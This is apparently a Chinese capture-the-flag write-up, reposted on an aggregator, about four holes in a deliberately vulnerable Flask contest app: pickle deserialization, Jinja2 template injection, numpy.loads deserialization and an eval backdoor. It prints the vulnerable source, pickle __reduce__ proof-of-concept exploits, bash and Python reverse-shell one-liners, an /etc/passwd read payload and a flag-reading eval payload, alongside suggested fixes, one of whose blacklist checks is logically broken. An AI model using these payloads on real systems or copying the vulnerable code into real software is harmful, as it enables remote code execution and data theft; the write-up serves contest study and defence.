ogeek线下赛web分析1-python-web
Posted wfzwebsecuity
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ogeek线下赛web分析1-python-web相关的知识,希望对你有一定的参考价值。
1.python
from flask import Flask, request, render_template,send_from_directory, make_response from Archives import Archives import pickle,base64,os from jinja2 import Environment from random import choice import numpy import builtins import io import re app = Flask(__name__) Jinja2 = Environment() def set_str(type,str): retstr = "%s‘%s‘"%(type,str) print(retstr) return eval(retstr) def get_cookie(): check_format = [‘class‘,‘+‘,‘getitem‘,‘request‘,‘args‘,‘subclasses‘,‘builtins‘,‘‘,‘‘] return choice(check_format) @app.route(‘/‘) def index(): global Archives resp = make_response(render_template(‘index.html‘, Archives = Archives)) cookies = bytes(get_cookie(), encoding = "utf-8") value = base64.b64encode(cookies) resp.set_cookie("username", value=value) return resp @app.route(‘/Archive/<int:id>‘) def Archive(id): global Archives if id>len(Archives): return render_template(‘message.html‘, msg=‘文章ID不存在!‘, status=‘失败‘) return render_template(‘Archive.html‘,Archive = Archives[id]) @app.route(‘/message‘,methods=[‘POST‘,‘GET‘]) def message(): if request.method == ‘GET‘: return render_template(‘message.html‘) else: type = request.form[‘type‘][:1] msg = request.form[‘msg‘] try: info = base64.b64decode(request.cookies.get(‘user‘)) info = pickle.loads(info) //pickle反序列化 username = info["name"] except Exception as e: print(e) username = "Guest" if len(msg)>27: return render_template(‘message.html‘, msg=‘留言太长了!‘, status=‘留言失败‘) msg = msg.replace(‘ ‘,‘‘) msg = msg.replace(‘_‘, ‘‘) retstr = set_str(type,msg) return render_template(‘message.html‘,msg=retstr,status=‘%s,留言成功‘%username) @app.route(‘/hello‘,methods=[‘GET‘, ‘POST‘]) def hello(): username = request.cookies.get(‘username‘) username = str(base64.b64decode(username), encoding = "utf-8") data = Jinja2.from_string("Hello , " + username + ‘!‘).render() is_value = False return render_template(‘hello.html‘, msg=data,is_value=is_value) @app.route(‘/getvdot‘,methods=[‘POST‘,‘GET‘]) def getvdot(): if request.method == ‘GET‘: return render_template(‘getvdot.html‘) else: matrix1 = base64.b64decode(request.form[‘matrix1‘]) matrix2 = base64.b64decode(request.form[‘matrix2‘]) try: matrix1 = numpy.loads(matrix1) matrix2 = numpy.loads(matrix2) except Exception as e: print(e) result = numpy.vdot(matrix1,matrix2) print(result) return render_template(‘getvdot.html‘,msg=result,status=‘向量点积‘) @app.route(‘/robots.txt‘,methods=[‘GET‘]) def texts(): return send_from_directory(‘/‘, ‘flag‘, as_attachment=True) if __name__ == ‘__main__‘: app.run(host=‘0.0.0.0‘,port=‘5000‘,debug=True)
第一个洞:pickle反序列化
info = base64.b64decode(request.cookies.get(‘user‘)) info = pickle.loads(info) //pickle反序列化
常见用于python执行命令的库有:
os,subprocess,command
os.system(‘ifconfig‘) os.popen(‘ifconfig‘) commands.getoutput(‘ifconfig‘) commands.getstatusoutput(‘ifconfig‘) subprocess.call([‘ifconfig‘],shell=True)
以及
map(__import__(‘os‘).system,[‘bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"‘,]) sys.call_tracing(__import__(‘os‘).system,(‘bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"‘,)) platform.popen("python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"127.0.0.1\\",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);‘")
那么最简单的exp当然是是通过os.system来执行命令:
import pickle import os import subprocess import base64 as b64 class genpoc(object): def __reduce__(self): s = """whoami""" return os.system,(s,) evil = b64.b64encode(pickle.dumps(genpoc())) pickle.loads(b64.b64decode(evil))
pickle和cpickle都可以进行反序列化,cpickle速度更快一点,生成payload就可以进行批量读取flag
__reduce__函数中返回的元组中用于执行命令的模块当然可以进行替换,防御时可以基于黑名单,把system等库直接ban了:
if "os" or "subprocess" or "commands" or "platform" in pickle.dumps(genpoc()): exit(0)
基于黑名单的方式可能存在被绕过的可能,最好的方式是基于白名单:
原始的pickle的loads函数如上如所示,参考https://www.jianshu.com/p/8fd3de5b4843可以在返回序列化对象前加一个判断:
class genpoc(object): def __reduce__(self): s = """whoami""" return os.system,(s,) evil = pickle.dumps(genpoc()) allow_list = [str, int, float, bytes, unicode] class FilterException(Exception): def __init__(self, value): super(FilterException, self).__init__(‘the callable object value is not allowed‘.format(value=str(value))) def a(func): def wrapper(*args, **kwargs): if args[0].stack[-2] in allow_list: raise FilterException(args[0].stack[-2]) return func(*args, **kwargs) return wrapper def loads(evil): #global evil file = StringIO(evil) temp = Unpickler(file) temp.dispatch[REDUCE] = a(temp.dispatch[REDUCE]) return temp.load() loads(evil)
这样就能防御住pickle反序列化漏洞,这里原因貌似是这样:因为我们是在__reduce__中传入的要调用的函数为为os.system,参数为whoami,__reduce__返回的是一个元组,
此时只要检测__reduce__中的变量就可以了,
而在pickle的源码中,通过类Unpickler对象的dispatch的REDUCE属性就能够对reduce中的变量进行操作
其中stack变量中实际上存储着内置函数system,此时就可以通过args[0].stack[-2]来获得到之前__reduce__中定义的system,接着只要将该值与白名单的值进行比较即可。
第二个洞:CVE-2019-8341 jinja2 ssti
漏洞代码为:
@app.route(‘/hello‘,methods=[‘GET‘, ‘POST‘]) def hello(): username = request.cookies.get(‘username‘) username = str(base64.b64decode(username), encoding = "utf-8") data = Jinja2.from_string("Hello , " + username + ‘!‘).render() is_value = False return render_template(‘hello.html‘, msg=data,is_value=is_value)
这个洞是因为from_string的锅,jinja2版本小于2.10,
exploitdb也给了具体的payload:
读/etc/passwd
‘‘.__class__.__mro__[2].__subclasses__()[40](‘/etc/passwd‘).read()
反弹shell:
config[‘RUNCMD‘](‘bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1‘,shell=True)
修复的话可以直接过滤username中的.点即可
第三个洞:CVE-2019-6446 numpy反序列化
@app.route(‘/getvdot‘,methods=[‘POST‘,‘GET‘]) def getvdot(): if request.method == ‘GET‘: return render_template(‘getvdot.html‘) else: matrix1 = base64.b64decode(request.form[‘matrix1‘]) matrix2 = base64.b64decode(request.form[‘matrix2‘]) try: matrix1 = numpy.loads(matrix1) matrix2 = numpy.loads(matrix2) except Exception as e: print(e) result = numpy.vdot(matrix1,matrix2) print(result) return render_template(‘getvdot.html‘,msg=result,status=‘向量点积‘)
numpy.loads在读取字符串时,也会采用pickle的loads方式读取序列化字符串
那么只要利用pickle构造出序列化的poc,传递给numpy.loads(),就能够达到同样的效果
import numpy import pickle import os class genpoc(object): def __reduce__(self): s = """whoami""" return os.system,(s,) evil = pickle.dumps(genpoc()) print evil numpy.loads(evil)
防御方法可以参考:https://github.com/numpy/numpy/commit/a2bd3a7eabfe053d6d16a2130fdcad9e5211f6bb
因为这里numpy.loads实际上调用的是pickle.loads,所以也可以按照修复pickle时白名单或者黑名单的方式,禁止一些可以调用的执行命令的对象。
第四个洞:eval后门
type = request.form[‘type‘][:1] msg = request.form[‘msg‘] if len(msg)>27: return render_template(‘message.html‘, msg=‘留言太长了!‘, status=‘留言失败‘) msg = msg.replace(‘ ‘,‘‘) msg = msg.replace(‘_‘, ‘‘)
这里直接执行eval,并且type和str都是可控的,但是需要先bypass前面的限制,这里限制type为一个字符,我们只要闭合‘单引号即可,poc可为:
读取flag可以为:
set_str("‘","+os.system(‘cat$IFS/f*‘)#")
这样payload刚好为27个字符,能够获取到flag
修复方法也很简单:
可以过滤掉斜杠即可/
以上是关于ogeek线下赛web分析1-python-web的主要内容,如果未能解决你的问题,请参考以下文章